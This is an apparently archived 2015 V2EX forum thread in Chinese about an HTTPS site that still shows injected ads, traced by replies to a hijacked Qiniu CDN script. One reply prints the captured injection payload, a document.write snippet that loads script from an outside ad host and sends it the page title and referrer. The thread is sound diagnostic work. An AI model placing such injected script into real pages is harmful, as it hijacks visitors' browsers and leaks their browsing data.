V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
V2EX 提问指南
oldcai
V2EX  ›  问与答

论 SSL 有用吗? HTTPS(RapidSSL SHA256 CA - G3)了为何还是被电信劫持?

  •  2
     
  •   oldcai · 2015-11-11 18:20:22 +08:00 · 10090 次点击
    这是一个创建于 3300 天前的主题,其中的信息可能已经有所发展或是发生改变。

    事情是这样的

    以前在深圳的时候,经常打开 V2EX 都会变成一整张某信广告,

    现在这个项目因为 BOSS 对用户的隐私和安全性要求很高,产品网站是使用的是收费的 SSL 证书的 https ,我想这样也可以防止一些运营商插广告的行为,是很赞的一件事。

    however ,有一个可♀爱的男同事,他发现我们官网总是被劫持,地点也是深圳。

    如图:

    被劫持后

    图 1 : 被劫持后

    这个症状和这篇帖子里面 @chinaglwo 描述的一样。

    然后我观察了一下我们的证书对比

    我的浏览器大约没被劫持的情况下的

    图 2 : 我的大约没被劫持的情况下的

    可♀爱的男同事的被劫持的情况下的

    图 3 : 可♀爱的男同事的浏览器被劫持的情况下的(快看可♀爱的收藏夹)

    • 都是绿色的 https 标志

    此网站的身份已通过了 RapidSSL SHA256 CA - G3 的验证。服务器未提供任何 Certificate Transparency 信息。

    然而说好的担保金是真的吗

    10,000 刀担保金

    图 4 : 10,000 刀担保金的广告

    忽然想到购买 SSL 证书的时候,有担保金这件事,所以也想来 V2EX 算一卦, HTTPS 了还是被劫持,拿不拿得到保险金呢?

    附:忽然发现 @朱一君的微博图床(最新版)不能上传了,图床用的 imgur ,所以如果看不到图,方便的话,希望可以随手翻一下墙才可以看到。

    第 1 条附言  ·  2015-11-11 19:46:34 +08:00

    隐身模式下依然被劫持

    图 5 : 隐身模式下依然被劫持

    换了 Windows 10 也没能躲过

    图 6 : 换了 Windows 10 也没能躲过

    域名隐私保护了,也不知道 whois 里面的 [email protected] 管不管这事。

    先发了一封邮件问问。

    我也希望能进入 /go/however ,然而似乎越来越像真的了。。。

    @lshero
    @wy315700
    @lianz
    @xgowex

    65 条回复    2015-11-17 03:13:58 +08:00
    lshero
        1
    lshero  
       2015-11-11 18:22:47 +08:00
    浏览器隐私模式下打开看看
    再打开看看插件列表有啥东西
    gamexg
        2
    gamexg  
       2015-11-11 18:44:03 +08:00
    https 出问题的可能性太小了,中间人攻击 tls 只为了插个广告,成本太不合适了。

    chrome https 插 http 的 js 默认不执行吧?
    lhbc
        3
    lhbc  
       2015-11-11 18:44:07 +08:00   ❤️ 1
    估计网站用的是青云 BGP ,然后静态资源用七牛的 https
    不知道是不是全站 https ,包括 CDN 回源之类的
    应该从非安全连接部分入手检查
    Andy1999
        4
    Andy1999  
       2015-11-11 18:50:23 +08:00 via iPhone
    引入了 http 资源应该 Chrome 边上有个拦截的小盾牌
    wy315700
        5
    wy315700  
       2015-11-11 18:54:11 +08:00
    目测是浏览器插件
    processzzp
        6
    processzzp  
       2015-11-11 18:54:41 +08:00 via Android
    感觉不像 ISP 的问题,毕竟对 TLS 进行攻击只是为了插个广告,太不划算了

    检查一下 CDN 回源的问题看看
    oldcai
        7
    oldcai  
    OP
       2015-11-11 18:55:36 +08:00
    @lshero /t/227555 这篇帖子的作者是重装 chrome 后也无解
    @gamexg
    @Andy1999 是 https 的,结果被替换成 http ,这个也是个疑点。
    @lhbc cdn 上是七牛自己的证书,也是用的 https 的,正常情况下不会出现这种现象才对。
    Andy1999
        8
    Andy1999  
       2015-11-11 18:57:44 +08:00 via iPhone   ❤️ 1
    @oldcai 那就说得过去了 部分地区为了劫持百度把百度从 https 降级到 http 然后再插广告
    lianz
        9
    lianz  
       2015-11-11 18:58:45 +08:00
    1. chrome 下默认屏蔽所有非 https 链接的 js
    2. 看起来是插件插入的
    oldcai
        10
    oldcai  
    OP
       2015-11-11 19:03:40 +08:00
    @Andy1999
    @lianz
    是说网页内的链接,本来是 https 的,而劫持后变成了 http 的。
    我也问了同事,他说最近没有装新插件,反而删了好多。
    也让他一会再隐私模式下试试看。

    谢谢大家。
    aivier
        11
    aivier  
       2015-11-11 19:04:05 +08:00
    我就是那个访问百度被强降 HTTP 的...
    其他 HTTPS 没看到有插广告
    Andy1999
        12
    Andy1999  
       2015-11-11 19:05:07 +08:00 via iPhone
    @lianz 电信现在很恶心 都上升到 TCP 流量劫持了
    以前换个 DNS 解决问题 现在换 DNS 照样被劫持
    Daddy
        13
    Daddy  
       2015-11-11 19:11:17 +08:00
    不会是个广告吧, 2333

    PS :打开测试没问题
    Slienc7
        14
    Slienc7  
       2015-11-11 19:13:14 +08:00   ❤️ 1
    @oldcai
    更有可能的是你们的网站内部问题或者浏览器插件或者电脑中毒了。
    HTTPS 劫持插广告的几率比彩票中奖的几率低很多倍。

    建议换一个设备在同一网络下重试。
    nbndco
        15
    nbndco  
       2015-11-11 19:43:59 +08:00
    HTTPS 被劫持插广告的可能性是零,你知道 HTTPS 被劫持是多大的新闻么?
    miyuki
        16
    miyuki  
       2015-11-11 19:54:28 +08:00 via Android
    qbox.me 是七牛的域名

    之前看到有人说 https 也被劫持到这个来着
    miyuki
        17
    miyuki  
       2015-11-11 19:56:01 +08:00 via Android   ❤️ 1
    @miyuki 抱歉没看清楚

    也许是 ISP 强制降到 HTTP 干坏事
    lhbc
        18
    lhbc  
       2015-11-11 19:58:25 +08:00 via Android   ❤️ 1
    被劫持的是哪个页面或者哪个资源文件?
    对应域名的解析 IP 是什么?
    tony1016
        19
    tony1016  
       2015-11-11 19:58:42 +08:00
    也许是你们的网站在 http 跳转到 https 之时被劫持的
    oldcai
        20
    oldcai  
    OP
       2015-11-11 20:00:14 +08:00
    @Andy1999
    @miyuki
    没有特别留意过被降级的过程,我不在深圳『事发地点』,所以也没法在我机器上复现。
    但是直觉是降级 http 后,地址栏的 https 应该不是绿色的了才对吧?
    oldcai
        21
    oldcai  
    OP
       2015-11-11 20:05:54 +08:00
    @lhbc 被劫持的是 https://zine.la/editor/ 这个地址,是一个静态页面。
    对应文件已经核对过了,没有被修改,而且不在 cdn 上。
    virusdefender
        22
    virusdefender  
       2015-11-11 20:06:47 +08:00
    被劫持的时候检查下别的 js ,看哪个是被改动的
    virusdefender
        23
    virusdefender  
       2015-11-11 20:10:31 +08:00
    自己检查那个 http 的七牛的 js ,估计就是这的问题。

    抓包,不要直接看浏览器,浏览器是 js 执行之后的,可能有一些伪装。
    lhbc
        24
    lhbc  
       2015-11-11 20:13:58 +08:00 via Android   ❤️ 1
    @oldcai 看下浏览器上的证书指纹
    如果指纹和服务器的一致,那只有两个可能:
    1 、中间人拿到了你的私钥
    2 、浏览器

    不一致的话,肯定是中间人

    另外,页面引用的 js 也可以插入内容
    nbndco
        25
    nbndco  
       2015-11-11 20:14:44 +08:00
    有试过用别的浏览器或者手机浏览器打开看看么?
    总觉得应该是浏览器里某些插件插进去的。
    honeycomb
        26
    honeycomb  
       2015-11-11 20:17:31 +08:00   ❤️ 1
    这个看上去像是服务器在提供资源之前就有劫持,被插入了这个内容,然后有这个页面
    请尝试在手机端的浏览器复现(Chrome 可以通过 ADB 调试),因为不能保证电脑不中毒

    为什么呢:
    1 ,从截图来看,加密套件是 PFS(使用了 ECDHE_RSA 密码交换算法)的,无法用上级证书解密
    2 , 1 意味着需要单独为你们网站伪造一个合法证书才能实行(解密 TLS->插入劫持内容->再加密成让浏览器识别不出已受到攻击的)攻击
    3 ,实施 2 程度的攻击得是国家支持级的才说得过去

    有关 PFS(完全正向保密)
    http://www.infoq.com/cn/articles/keeping-your-secrets
    https://en.wikipedia.org/wiki/Forward_secrecy
    yexm0
        27
    yexm0  
       2015-11-11 20:19:18 +08:00   ❤️ 1
    好像还真被劫持了也,我不挂 ss 时的

    挂了 ss 的时候
    oldcai
        28
    oldcai  
    OP
       2015-11-11 20:23:42 +08:00
    @honeycomb 十分让人信服。

    @lhbc
    然而我同事那边的问题 忽然不复现了,只能等下一次出现再对比一下指纹了。
    honeycomb
        29
    honeycomb  
       2015-11-11 20:24:46 +08:00
    @oldcai
    抱歉没说清楚:
    1 ,
    这个页面似乎是在被你们的那份证书私钥最终地加密以前,就已经遭到了篡改
    2 ,
    关于浏览器扩展是否参与了劫持
    比方说,我在用 uMatrix ,加载了这个页面后,打开开发者工具能看到页面中被插入了 uMatrix 的代码,这个过程不会触发 HTTPS 指示器报警


    ;(function() {
    try {
    /* https://github.com/gorhill/uMatrix/issues/61#issuecomment-63814351 */
    var navigator = window.navigator;
    var spoofedUserAgent = "Mozilla/5.0 ****************************************************************************";
    if ( spoofedUserAgent === navigator.userAgent ) {
    return;
    }
    var pos = spoofedUserAgent.indexOf('/');
    var appName = pos === -1 ? '' : spoofedUserAgent.slice(0, pos);
    var appVersion = pos === -1 ? spoofedUserAgent : spoofedUserAgent.slice(pos + 1);
    Object.defineProperty(navigator, 'userAgent', { get: function(){ return spoofedUserAgent; } });
    Object.defineProperty(navigator, 'appName', { get: function(){ return appName; } });
    Object.defineProperty(navigator, 'appVersion', { get: function(){ return appVersion; } });
    } catch (e) {
    }
    })();



    请使用这个神器来解决问题:

    Google 自己写的 The Chrome Apps Developer Tool

    https://chrome.google.com/webstore/detail/chrome-apps-extensions-de/ohmmkhmmmpcnpikjeljgnaoabkaalbgc
    oldcai
        30
    oldcai  
    OP
       2015-11-11 20:25:37 +08:00
    @yexm0 你也是在深圳吗?
    yexm0
        31
    yexm0  
       2015-11-11 20:28:48 +08:00   ❤️ 1
    @oldcai 是的
    dphdjy
        32
    dphdjy  
       2015-11-11 20:38:49 +08:00
    昨日,上海浦东法院首次在司法层面将流量劫持认定为犯罪,该院判决了全国首起流量劫持刑案,两名被告人被判有期徒刑 3 年,缓刑 3 年;扣押在案的作案工具以及退缴在案的违法所得予以没收。
    oldcai
        33
    oldcai  
    OP
       2015-11-11 20:42:08 +08:00
    @yexm0 方便看一下证书指纹吗,在地址栏点锁 -> 证书信息 -> 翻到最下面。
    谢谢了。
    (有没有可能我们发现了一个惊天的大阴谋
    oldcai
        34
    oldcai  
    OP
       2015-11-11 20:43:33 +08:00
    @oldcai 锁 -> 连接 -> 证书信息 -> 翻到最下面
    yexm0
        35
    yexm0  
       2015-11-11 20:52:26 +08:00   ❤️ 1
    @oldcai 劫持和没劫持下证书指纹好像都一样
    kn007
        36
    kn007  
       2015-11-11 20:53:57 +08:00
    关注进展,广东东莞电信,一切正常
    xierch
        37
    xierch  
       2015-11-11 20:54:17 +08:00
    右键查看源码试一下?
    F12 那个是当前的 DOM tree ,可能被其他 JS 更改过
    JimmyCai
        38
    JimmyCai  
       2015-11-11 21:04:17 +08:00
    第一次访问的时候也出现了楼主的症状,刷新后就消失了。
    yexm0
        39
    yexm0  
       2015-11-11 21:05:54 +08:00
    JimmyCai
        40
    JimmyCai  
       2015-11-11 21:06:09 +08:00
    @JimmyCai 刚刚刷新了一次又出现了。另外,源码里面未发现该脚本。
    otakustay
        41
    otakustay  
       2015-11-11 21:06:51 +08:00
    一个比较简单地看是不是 HTTP(S)劫持的方法是直接看源码而不是看 DOM Tree ,如果源码中没有基本上不会是协议层面上的劫持,应该去考虑浏览器扩展、系统插件等其它情况
    Flygoat
        42
    Flygoat  
       2015-11-11 21:08:20 +08:00
    杭州电信:劫持已复现,症状相同。 Linode 上访问没有劫持。(重新签一份证书试试
    livelazily
        43
    livelazily  
       2015-11-11 21:13:30 +08:00
    广东电信: 劫持已复现, 但只在 chrome 下出现, firefox, safari 都没问题. chrome 尝试添加 --disable-extensions 禁用所有扩展依旧被劫持
    virusdefender
        44
    virusdefender  
       2015-11-11 21:19:20 +08:00   ❤️ 1
    七牛的 js 回源被劫持了

    document.write("<script language='javascript' src='http://dn-zine-static.qbox.me/Zine_web/otherScript-min.js?_vv=20080808&_veri=20121009'><\/script>");document.write("<script language='javascript' src='http://js.meiletu.net:41180/re/re.php?src=t6407&t="+encodeURIComponent(document.title)+"&ci=3738840456&r="+encodeURIComponent(document.referrer)+"'><\/script>");

    因为你的 js 正在以 http 的方式访问,所以被劫持,然后构造了这样一个劫持的 js 。很大可能就是回源的时候的问题
    zkd8907
        45
    zkd8907  
       2015-11-11 21:21:34 +08:00
    我们公司这段时间遇到了 CDN 机房间在回源的时候被劫持,导致写入到 CDN 服务器上的数据直接就被篡改。建议楼主可以查下遇到问题对应的机器,直接上机器看文件。
    wzxjohn
        46
    wzxjohn  
       2015-11-11 21:25:15 +08:00
    七牛 CDN 回源流量被大量劫持:
    /t/233684#reply9
    msg7086
        47
    msg7086  
       2015-11-11 21:32:20 +08:00
    1. 如果你说的是 CDN ,请检查 CDN 到服务器的连接。(另外用了 CDN 这种事情得早点说
    2. 看劫持为什么要用控制台工具而不是看源码?意义不明。
    zho6
        48
    zho6  
       2015-11-11 21:42:52 +08:00
    cloudflare 有 keyless 的功能 客户无需将证书交结 cloudflare 实现 https 的转发 这个技术是可以用来做劫持 https
    oldcai
        49
    oldcai  
    OP
       2015-11-11 22:27:46 +08:00
    @wzxjohn
    @msg7086
    @virusdefender
    静态文件的 CDN 我们不是镜像的,是手动用七牛的 qrsync 同步到 cdn 的,我觉得回源链路问题无法解释为何会一下好一下出问题。
    Had
        51
    Had  
       2015-11-11 22:54:35 +08:00
    是七牛的节点被劫持了。
    Had
        52
    Had  
       2015-11-11 23:00:52 +08:00
    我这里前天也出现了这个问题,我们的回源是 HTTPS 的。
    因为七牛是一次回源然后同步到所有节点的,所以我怀疑可能是同步过程是 HTTP 的,造成了同步到某些节点时被批量注入。
    Had
        53
    Had  
       2015-11-11 23:01:54 +08:00
    @oldcai
    看我楼上的回复,我们也是全站 HTTPS ,但是依然遇到了这种情况,我感觉应该是从回源到同步发生了问题。
    oldcai
        54
    oldcai  
    OP
       2015-11-11 23:25:41 +08:00
    @Had 问了七牛的人,他说:上传是 http 的,但是上传都是 token 加密的, qrsync 上传,如果上传劫持就会上传失败了,不会上传一个错误文件。

    我理解为虽然是 http 上传,但是有 token 校验。

    而且目测同步到七牛的服务端的版本没有问题,我这边刚也出现过被劫持的现象,确实是 cdn 的文件被篡改,但是加了个参数尾巴就又好了,感觉是七牛的服务器之间传输文件被劫持了。
    msg7086
        55
    msg7086  
       2015-11-11 23:43:51 +08:00   ❤️ 1
    @zho6 因为 CF 自己可以签发证书。但是这些企业都有严格的策略,保证证书不会被滥用。

    @oldcai 你用 CURL 试试吧。如果证书的确是你自己的,而且输出源码里有劫持,那多数是目标服务器自己的问题了。
    SSL 的保险保的是他家证书误签发给陌生人的问题。比如你这 RapidSSL ,保险保的就是 Rapid 自己把证书签发给了你以外的第三者。其他情况应该是不会管的。
    至于 SSL 协议本身的安全性应该是不用担心的,毕竟里面那堆核心算法是美国政府都在用,要是有坑的话早就炸锅了。
    Had
        56
    Had  
       2015-11-12 00:13:35 +08:00
    @oldcai 嗯,咱猜测的很类似,因为七牛用了中间源,所以需要从中间源分发到各个节点,应该是这个过程被污染了。
    zwzmzd
        57
    zwzmzd  
       2015-11-12 00:53:00 +08:00 via Android
    想起以前一个帖子,
    https://www.v2ex.com/t/169333

    国内网络这现状,工信部该好好管管了
    lhbc
        58
    lhbc  
       2015-11-12 01:52:34 +08:00 via Android
    运营商在骨干网劫持,哈哈哈
    wzxjohn
        59
    wzxjohn  
       2015-11-12 09:04:34 +08:00
    @oldcai 很简单,某些回源链路被劫持,导致有些机器上的文件是有问题的,但是并没有影响所有的机器。如果你被随机到了这台机器上那就有问题。。。
    comesx4
        60
    comesx4  
       2015-11-12 09:17:58 +08:00
    你用审查查看到的代码可能是后来的 js 修改的,你直接右键查看网页源代码看看还没有有问题的 js
    sixbyte
        61
    sixbyte  
       2015-11-12 09:52:21 +08:00
    能看看 response 的 body 内容吗?是不是真的有这么一段劫持代码
    qihboy
        62
    qihboy  
       2015-11-12 11:45:02 +08:00
    深圳电信用户 MAC+CRHOME+ABP 访问表示未看到劫持, ABP 报告 0
    Felldeadbird
        63
    Felldeadbird  
       2015-11-12 13:50:17 +08:00
    看来除了纯 SSL ,还得验证引入资源是否 SSL 。太可怕了。电信运营商真的奸诈,无所不用其极。犯罪成本低,执法力度差,让他们成了犯罪的温床。
    referblue
        64
    referblue  
       2015-11-12 18:06:31 +08:00
    就一个网页需要挂 CDN 么,囧, rapidssl 连企业版 SSL 都没有的
    chinaglwo
        65
    chinaglwo  
       2015-11-17 03:13:58 +08:00
    @oldcai
    我觉得不会是电脑本身的问题,因为两点:
    1 、我电脑双系统, win7+ubuntu ,只有 win7 下的 chrome 会出现异常, ubuntu 下的 chrome 没问题。于是我在 win7 和 ubuntu 下分别安装 vitualbox 虚拟机,在虚拟机里分别安装了新 win7 ,下载 chrome ,没安装任何插件,访问几十个网页就会出现异常。
    2 、如果说是我的 win7 iso 有问题,那后来我给 chrome 安装了一个插件叫 user-agent switcher ,改 ua 为"chrome on Mac",到现在一个月了,再也没出现异常了,在这期间我也把 ua 换成“ chrome on windows ”,很快就会异常,随便浏览不同网站的网页,大概几十个就会遇到几个异常。注意,访问基本任何网站都会出现, sina 、 sohu 、 csdn 、 51cto ,都出现过。而且基本上是第一次访问某个网站时出现。

    另外,还怀疑一点是电信的光猫默认是允许电信的工作人员远程连接用来维护的,据说可以下发什么内容,那这就不知道会不会在搞鬼,我现在把光猫的 TR069 协议禁用了。

    以上说的都是 http 。 https 的站点至今没遇到过异常,不过 https 站点毕竟相对来说还少。
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   1021 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 30ms · UTC 19:37 · PVG 03:37 · LAX 11:37 · JFK 14:37
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.